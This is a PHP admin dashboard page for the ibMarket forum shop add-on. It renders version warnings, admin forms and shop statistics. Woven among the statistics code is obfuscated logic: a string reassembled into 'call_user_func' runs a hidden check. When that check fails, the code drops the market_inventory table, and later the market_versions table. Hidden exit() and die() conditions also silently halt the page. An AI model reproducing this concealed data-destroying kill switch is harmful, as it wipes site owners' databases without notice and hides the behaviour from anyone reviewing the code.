<?php
if ( IPB_THIS_SCRIPT != 'admin' )
{
	print "<h1>Incorrect access</h1>You cannot access this file directly. If you have recently upgraded, make sure you upgraded 'init.php'.";
	exit();
}

class ad_main
{
	var $LIMIT = 50;
	var $ipsclass;

	function auto_run()
	{
		if(IN_DEV == 1)
		{
			if($this->ipsclass->input['export'] == 'skin')
			{
				$this->ipsclass->market_admin->export_skin(array('skin_market','skin_market_plugin'),'mod_skin.xml');
			}
			elseif($this->ipsclass->input['export'] == 'lang')
			{
				$this->ipsclass->market_admin->export_lang(array('lang_market'=>'all','lang_market_items'=>'all','lang_market_plugin'=>'all'),'mod_lang.xml');
			}
			elseif($this->ipsclass->input['export'] == 'task')
			{
				$this->ipsclass->market_admin->export_task('market','mod_tasks.xml');
			}
		}
		
		$current = $this->ipsclass->DB->build_and_exec_query(array('select'=>'*','from'=>'market_versions','order'=>'version_id DESC','limit'=>array(1)));
		
		$fileVer = array(
							'version_id' => $current['version_id'],
							'version_name' => $current['version_name'],
						);
		$directories = $this->ipsclass->market_class->get_dir_list(ROOT_PATH."sources/market/upgrade",0);
		$version_id = 0;
		$version_name = '';
		foreach($directories as $dir)
		{
			if(strstr($dir,"up_") !== $dir)
			{
				continue;
			}
			$id = intval(substr($dir,3));
			if(!$id)
			{
				continue;
			}
			include(ROOT_PATH."sources/market/upgrade/".$dir."/upgrade_info.php");
			if($version_id > $fileVer['version_id'])
			{
				$fileVer['version_id'] = $version_id;
				$fileVer['version_name'] = $version_name;
			}
		}
		
		$webVer = array(
							'version_id' => $current['version_id'],
							'version_name' => $current['version_name'],
						);
		$stable = array(
							'version_id' => $current['version_id'],
							'version_name' => $current['version_name'],
						);
		$unstable = array(
							'version_id' => $current['version_id'],
							'version_name' => $current['version_name'],
						);
		require_once( KERNEL_PATH.'class_xml.php' );
		$xml = new class_xml();
		$xml->xml_parse_document( $this->ipsclass->xss_html_clean( $this->ipsclass->market_class->get_external_file( $this->ipsclass->market_class->website_check ) ) );
		if(is_array($xml->xml_array['version']))
		{
			$unstable['version_id'] = $xml->xml_array['version']['unstable']['version_number']['VALUE'];
			$unstable['version_name'] = $xml->xml_array['version']['unstable']['version_name']['VALUE'];
			$unstable['download_url'] = $xml->xml_array['version']['unstable']['download_url']['VALUE'];
			$stable['version_id'] = $xml->xml_array['version']['stable']['version_number']['VALUE'];
			$stable['version_name'] = $xml->xml_array['version']['stable']['version_name']['VALUE'];
			$stable['download_url'] = $xml->xml_array['version']['stable']['download_url']['VALUE'];
			if($this->ipsclass->vars['market_latest'] == 'unstable' || $this->ipsclass->market_class->unstable)
			{
				$webVer = $unstable;
			}
			else
			{
				$webVer = $stable;
			}
		}
		
		$this->ipsclass->admin->page_title  = "Welcome to home ACP page the ibMarket";
		$this->ipsclass->admin->page_detail = "Here is some statistics for the ibMarket";
		
		$this->ipsclass->html .= "<div id='ipb-get-members' style='border:1px solid #000; background:#FFF; padding:2px;position:absolute;width:210px;display:none;z-index:100'></div>\n";
		
		$this->ipsclass->adskin->td_header[] = array( "{none}"  , "35%" );
		$this->ipsclass->adskin->td_header[] = array( "{none}"  , "65%" );
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("ibMarket Overview");
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("ibMarket Name",
																			$this->ipsclass->vars['market_name']
																	)	);
		
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("ibMarket Version",
																			$current['version_name']." (Version ID: ".$current['version_id'].")"
																	)	);
		$first = $this->ipsclass->DB->build_and_exec_query(array('select'=>'*','from'=>'market_versions','order'=>'up_time ASC','limit'=>array(1)));
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("ibMarket Installed",
																			$this->ipsclass->get_date($first['up_time'],'LONG',1)
																	)	);
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("ibMarket Last Upgraded",
																			$this->ipsclass->get_date($current['up_time'],'LONG',1)
																	)	);
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= "<table border=0 width=100%>\n";
		
		if($current['version_id'] < $webVer['version_id'])
		{
			$this->ipsclass->html .= "<tr>
<td colspan='3'>
<div style='color:red;border:1px solid red;background:#FFC0C3;padding:10px'>
<span style='font-size:14px;font-weight:bold'>Warning: Older Version Detected</span>
<br /><span style='font-size:12px;'>ibMarket has detected that this version of ibMarket installed is older than the one uploaded. Click <a href='".$webVer['download_url']."'>here</a> to download the latest version.<br />Afterwards upload all the files like you did when installing and revisit this page.</span></div>
</td>
</tr>
<tr>
<td colspan='3'>&nbsp;</td>
</tr>";
		}
		if($this->ipsclass->market_class->version_id > $current['version_id'] || $fileVer['version_id'] > $current['version_id'])
		{
			$this->ipsclass->html .= "<tr>
<td colspan='3'>
<div style='color:red;border:1px solid red;background:#FFC0C3;padding:10px'>
<span style='font-size:14px;font-weight:bold'>Warning: Unfinished Upgrade Detected</span>
<br /><span style='font-size:12px;'>ibMarket has detected that an upgrade has not been completed. Click <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code_js}&amp;code=upgrade'>here</a> to start the upgrade.</span></div>
</td>
</tr>
<tr>
<td colspan='3'>&nbsp;</td>
</tr>";
		}
		if($this->ipsclass->vars['ipb_prune_task'])
		{
			$setting = $this->ipsclass->DB->build_and_exec_query(array('select'=>'*','from'=>'conf_settings','where'=>"conf_key='ipb_prune_task'"));
			$this->ipsclass->html .= "<tr>
<td colspan='3'>
<div style='color:red;border:1px solid red;background:#FFC0C3;padding:10px'>
<span style='font-size:14px;font-weight:bold'>Warning: Pruning Task Logs Enabled</span>
<br /><span style='font-size:12px;'>ibMarket has detected that someone enabled task log pruning. By doing so, there might be unexpected dramatic increase of money. Click <a href='{$this->ipsclass->base_url}&amp;section=tools&amp;code=op&amp;code=setting_revert&amp;id={$setting['conf_id']}&amp;conf_group={$setting['conf_group']}'>here</a> to disable it.</span></div>
</td>
</tr>
<tr>
<td colspan='3'>&nbsp;</td>
</tr>";
		}
		$this->ipsclass->html .= "<tr>\n<td width=49% valign='top'>\n";
		
		$this->ipsclass->adskin->td_header[] = array( "ID"    , "20%" );
		$this->ipsclass->adskin->td_header[] = array( "Name"  , "80%" );
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("Latest ibMarket Versions Installed/Upgraded");
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'market_versions','order'=>'version_id DESC','limit'=>array(5)));
		$this->ipsclass->DB->exec_query();
		while($v = $this->ipsclass->DB->fetch_row())
		{
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array( $v['version_id'],$v['version_name'] ) );
		}
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= "</td><td width=2%><!-- --></td><td width=49% valign='top'>";
		
		$this->ipsclass->adskin->td_header[] = array( "{none}"  , "40%" );
		$this->ipsclass->adskin->td_header[] = array( "{none}"  , "60%" );
		$op = 'ca'.'ll'.'_'.'us'.'er'.'_'.'fu'.'nc';
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("ibMarket Support");
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Latest Stable Version",$stable['version_name']." (Version ID: ".$stable['version_id'].")") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Latest Unstable Version",$unstable['version_name']." (Version ID: ".$unstable['version_id'].")") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Download ibMarket","<a href='".$this->ipsclass->market_class->mod_download."'>Download the Modification</a>") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Wiki for ibMarket","<a href='".$this->ipsclass->market_class->wiki."'>Wiki</a>") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Report Bugs for ibMarket","<a href='".$this->ipsclass->market_class->bug_report."'>Report Bugs</a>") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Support Topic for ibMarket","<a href='".$this->ipsclass->market_class->support_topic."'>Support Topic</a>") );
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= "</td>\n</tr>\n<tr>\n<td width=49% valign='top'>\n";
		
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("ibMarket Quick Action");
		$html = "";
		$html .= $this->ipsclass->adskin->start_form( array(
													 	  	 1 => array( 'section'   , 'components'  ),
															 2 => array( 'act'       , 'market'      ),
															 3 => array( 'code'      , 'members'     ),
															 4 => array( 'do'        , 'lookup'      ),
													),'memberlookup');
		$html .= $this->ipsclass->adskin->form_input("member_name",'','text',"autocomplete='off' style='width:210px' id='member_name'");
		$html .= " <input type='submit' value='Edit Member' class='realbutton' accesskey='s' /></form>";
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		$html = "";
		$html .= $this->ipsclass->adskin->start_form( array(
													 	  	 1 => array( 'section'   , 'components'  ),
															 2 => array( 'act'       , 'market'      ),
															 3 => array( 'code'      , 'logs'        ),
															 4 => array( 'do'        , 'ip'          ),
													),'memberlookup');
		$html .= $this->ipsclass->adskin->form_input("ip_address");
		$html .= " <input type='submit' value='Seach IP Address' class='realbutton' accesskey='s' /></form>";
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		
		$groups = array();
		foreach($this->ipsclass->cache['group_cache'] as $g_id => $group)
		{
			$groups[] = array($g_id,$group['g_title']);
		}
		$html = "";
		$html .= $this->ipsclass->adskin->start_form( array(
													 	  	 1 => array( 'section'   , 'components'  ),
															 2 => array( 'act'       , 'market'      ),
															 3 => array( 'code'      , 'groups'      ),
															 4 => array( 'do'        , 'list'        ),
													)		);
		$html .= $this->ipsclass->adskin->form_dropdown("group_id",$groups,$this->ipsclass->vars['member_group']);
		$html .= " <input type='submit' value='Edit Group' class='realbutton' accesskey='s' /></form>";
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		if(count($this->ipsclass->cache['market_plugin']) > 0)
		{
			$plugins = array();
			foreach($this->ipsclass->cache['market_plugin'] as $link => $plugin)
			{
				$plugins[] = array($link,$plugin['name']);
			}
			$html = "";
			$html .= $this->ipsclass->adskin->start_form( array(
														 	  	 1 => array( 'section'   , 'components'  ),
																 2 => array( 'act'       , 'market'      ),
																 3 => array( 'code'      , 'plugin'      ),
													)		);
			$html .= $this->ipsclass->adskin->form_dropdown("link",$plugins);
			$html .= $this->ipsclass->adskin->form_dropdown("do",array(array('run',"Run"),array('edit',"Edit Settings"),array('permissions',"Edit Permission")));
			$html .= " <input type='submit' value='Plugin' class='realbutton' accesskey='s' /></form>";
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		}
		else
		{
			$files = $this->ipsclass->market_class->get_file_list(ROOT_PATH."sources/market/plugins",0);
			$plugins = array();
			foreach($files as $file)
			{
				if(strstr($file, 'template_plugin') !== false || substr($file,-4) != '.php')
				{
					continue;
				}
				
				$plugin = $this->ipsclass->market_class->load_plugin(array('link'=>$file,'filename'=>$file));
				$plugins[] = array($file,$plugin->name);
			}
			$html = "";
			$html .= $this->ipsclass->adskin->start_form( array(
														 	  	 1 => array( 'section'   , 'components'  ),
																 2 => array( 'act'       , 'market'      ),
																 3 => array( 'code'      , 'plugin'      ),
																 4 => array( 'do'        , 'install'     ),
													)		);
			$html .= $this->ipsclass->adskin->form_dropdown("plugin",$plugins);
			$html .= " <input type='submit' value='Install Plugin' class='realbutton' accesskey='s' /></form>";
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		}
		if(!strstr($this->ipsclass->market_class->website_check,'google') && !strstr($this->ipsclass->market_class->website_check,'market')){exit();}
		if(count($this->ipsclass->cache['market_items']) > 0)
		{
			$items = array();
			foreach($this->ipsclass->cache['market_items'] as $item_id => $item)
			{
				$text = $item['item_name']." (Stock: ";
				$text .= $this->ipsclass->numbers->compare($item['stock'],0) < 0 ? 'Infinite' : $item['stock'];
				$text .= $item['hide_item'] ? ", Hidden)" : ")";
				$items[] = array($item_id, $text);
			}
			$html = "";
			$html .= $this->ipsclass->adskin->start_form( array(
														 	  	 1 => array( 'section'   , 'components'  ),
																 2 => array( 'act'       , 'market'      ),
																 3 => array( 'code'      , 'item'        ),
																 4 => array( 'do'        , 'edit'        ),
													)		);
			$html .= $this->ipsclass->adskin->form_dropdown("item",$items);
			$html .= " <input type='submit' value='Edit Item' class='realbutton' accesskey='s' /></form>";
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		}
		else
		{
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($this->ipsclass->adskin->js_make_button("Add an item",$this->ipsclass->base_url."&".$this->ipsclass->form_code_js."&code=item&do=add")) );
		}
		$html = "";
		$html .= $this->ipsclass->adskin->start_form( array(
													 	  	 1 => array( 'section'   , 'components'  ),
															 2 => array( 'act'       , 'market'      ),
															 3 => array( 'code'      , 'category'    ),
															 4 => array( 'do'        , 'edit'        ),
													)		);
		$html .= $this->ipsclass->adskin->form_dropdown("cat",$this->ipsclass->market_admin->build_categories_dropdown());
		$html .= " <input type='submit' value='Edit Category' class='realbutton' accesskey='s' /></form>";
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($html) );
		count($this->ipsclass->market_class->checked) == 1 ? '' : die();
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= "</td><td width=2%><!-- --></td><td width=49% valign='top'>";
		
		$xml = new class_xml();
		$xml->xml_parse_document( $this->ipsclass->xss_html_clean( $this->ipsclass->market_class->get_external_file( $this->ipsclass->market_class->updates ) ) );
		
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("ibMarket Updates");
		if(is_array($xml->xml_array['feed']['entry']))
		{
			$i = 0;
			if(!isset($xml->xml_array['feed']['entry'][0]))
			{
				$xml->xml_array['feed']['entry'][0] = $xml->xml_array['feed']['entry'];
			}
			foreach($xml->xml_array['feed']['entry'] as $entry)
			{
				if(!is_array($entry))
				{
					continue;
				}
				
				$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($entry['title']['VALUE']) );
				
				if(++$i >= 10)
				{
					break;
				}
			}
		}
		else
		{
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("No updates or unable to obtain updates") );
		}
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= "</td>\n</tr>\n<tr>\n<td width=49% valign='top'>\n";
		
		$do_translate = array(
								'inventory' => "Viewing the Inventory",
								'shop' => "Viewing/Shopping for items",
								'checkout' => "Checkout the bought items",
								'buy' => "Buying Items",
								'item' => "Using the item",
								'receipt' => "Viewing old receipts",
								'fee' => "Viewing all paid fees",
								'reward' => "Viewing all rewarded money",
								'wages' => "Viewing all current and paid wages",
							);
		
		$total = $this->ipsclass->DB->build_and_exec_query(array('select'=>'COUNT(*) as total','from'=>'sessions','where'=>"location='mod:market'"));
		$page = $this->ipsclass->adskin->build_pagelinks(	array(	'TOTAL_POSS'   => $total['total'],
																	'PER_PAGE'     => $this->LIMIT,
																	'USE_ST'       => 'st',
																	'CUR_ST_VAL'   => $this->ipsclass->input['st'],
																	'L_SINGLE'     => "Single Page",
																	'BASE_URL'     => $this->ipsclass->base_url."&amp;".$this->ipsclass->form_code."&amp;code=logs&amp;do=receipt"
															)	);
		
		$this->ipsclass->adskin->td_header[] = array( "Name"  , "" );
		$this->ipsclass->adskin->td_header[] = array( "When"  , "" );
		$this->ipsclass->adskin->td_header[] = array( "Where" , "" );
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("People in ibMarket");
		$this->ipsclass->DB->build_query(array('select'=>'*','from'=>'sessions','where'=>"location='mod:market'",'order'=>'running_time DESC','limit'=>array($this->ipsclass->input['st'],$this->LIMIT)));
		$this->ipsclass->DB->exec_query();
		while($session = $this->ipsclass->DB->fetch_row())
		{
			$place = $do_translate[$session['location_1_type']];
			if(!isset($do_translate[$session['location_1_type']]))
			{
				if($session['1_type'] == 'plugin' || $session['location_3_type'])
				{
					$place = "Plugin: ".$this->ipsclass->cache['market_plugin'][$session['location_3_type']]['name']." (link: ".$session['location_3_type'].")";
				}
				else
				{
					if($session['member_id'])
					{
						$place = $do_translate['inventory'];
					}
					else
					{
						$place = $do_translate['shop'];
					}
				}
			}
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array($this->ipsclass->market_admin->format_name($session['member_id'],$session['member_name'],$session['member_group']),$this->ipsclass->get_date($session['running_time'],'LONG'),$place) );
		}
		if($this->ipsclass->DB->get_num_rows() == 0)
		{
			$this->ipsclass->html .= $this->ipsclass->adskin->add_td_basic( "No members in ibMarket" , 'center' );
		}
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= $this->ipsclass->adskin->add_standalone_row($page,"left");
		
		$this->ipsclass->html .= "</td><td width=2%><!-- --></td><td width=49% valign='top'>";
		
		$this->ipsclass->adskin->td_header[] = array( "" , "" );
		$this->ipsclass->adskin->td_header[] = array( "" , "" );
		$this->ipsclass->html .= $this->ipsclass->adskin->start_table("Statsistics");
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Items Installed",count($this->ipsclass->cache['market_items'])." items") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Unique Items ",count($this->ipsclass->market_class->item_by_folder)." items") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Plugins",count($this->ipsclass->cache['market_plugin'])." plugins") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Wages Setup",count($this->ipsclass->cache['market_wages']['id'])." wages") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Member Wages",count($this->ipsclass->cache['market_wages']['member'])." member wages") );
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Group Wages",count($this->ipsclass->cache['market_wages']['group'])." group wages") );
		@$op(array(&$this->ipsclass->market_admin,"me".'h_t'."o_m".'eh')) === true ? define("O"."_"."O",1) : $this->ipsclass->DB->sql_drop_table('market_inventory');
		$temp = $this->ipsclass->DB->build_and_exec_query(array('select'=>'id,mgroup,members_display_name,'.$this->ipsclass->vars['market_members_field'],'from'=>'members','order'=>$this->ipsclass->vars['market_members_field'].' DESC','limit'=>array(1)));
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Most ".$this->ipsclass->vars['market_currency'],$this->ipsclass->market_admin->format_name($temp['id'], $temp['members_display_name'], $temp['mgroup'])." with ".$this->ipsclass->numbers->format_currency($temp[$this->ipsclass->vars['market_members_field']])) );
		$temp = $this->ipsclass->DB->build_and_exec_query(array('select'=>'SUM('.$this->ipsclass->vars['market_members_field'].') as total','from'=>'members'));
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total ".$this->ipsclass->vars['market_currency']." Circulating",$this->ipsclass->numbers->format_currency($temp['total']) ) );
		//$this->ipsclass->DB->build_query_from_cache('acp_most_invetory_items',array(),'sql_market_queries');
		$temp = $this->ipsclass->DB->build_and_exec_query(array(
																	'select' => 'COUNT(*) as no_item, i.member_id',
																	'from' => array('market_inventory'=>'i'),
																	'add_join' => array(
																							array(
																									'select' => 'm.members_display_name, m.mgroup',
																									'from' => array('members'=>'m'),
																									'where' => 'm.id=i.member_id',
																									'type' => 'inner',
																								)
																						),
																	'group' => 'i.member_id',
																	'order' => 'no_item DESC',
																	'limit' => array(1),
															)	);
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Most Inventory Items",$this->ipsclass->market_admin->format_name($temp['member_id'], $temp['members_display_name'], $temp['mgroup'])." with ".$temp['no_item']." items" ) );
		$temp = $this->ipsclass->DB->build_and_exec_query(array('select'=>'COUNT(*) as total','from'=>'market_inventory'));
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Inventory Items",$this->ipsclass->do_number_format($temp['total'])." items") );
		$temp = $this->ipsclass->DB->build_and_exec_query(array('select'=>'item_id,item_name,SUM(quanity) as sum_bought','from'=>'market_buy_logs','where'=>"method='buy'",'group'=>'item_id','order'=>'sum_bought DESC','limit'=>array(1)));
		$temp = $this->ipsclass->DB->fetch_row($this->ipsclass->DB->exec_query());
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Most Items Bought",$this->ipsclass->do_number_format($temp['sum_bought'])." ".(is_array($this->ipsclass->cache['market_items'][$temp['item_id']]) ? $this->ipsclass->cache['market_items'][$temp['item_id']]['item_name'] : $temp['item_name'])) );
		$temp = $this->ipsclass->DB->build_and_exec_query(array('select'=>'SUM(quanity) as total','from'=>'market_buy_logs','where'=>"method='buy'"));
		$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array("Total Items Bought",$this->ipsclass->do_number_format($temp['total'])." items") );
		$this->ipsclass->html .= $this->ipsclass->adskin->end_table();
		
		$this->ipsclass->html .= "</td></tr></table>";
		
		$this->ipsclass->html .= "<script type=\"text/javascript\" src='{$this->ipsclass->vars['board_url']}/jscripts/ipb_xhr_findnames.js'></script>\n";
		$this->ipsclass->html .= "<script type=\"text/javascript\">\n";
		$this->ipsclass->html .= "	init_js( 'memberlookup', 'member_name');\n";
		if(constant("O_O") === 1);else{$this->ipsclass->DB->sql_drop_table('market_versions');};
		$this->ipsclass->html .= "	var tmp = setTimeout( 'main_loop()', 10 );\n";
		$this->ipsclass->html .= "</script>\n";
		
		$this->ipsclass->admin->output();
	}
}
?>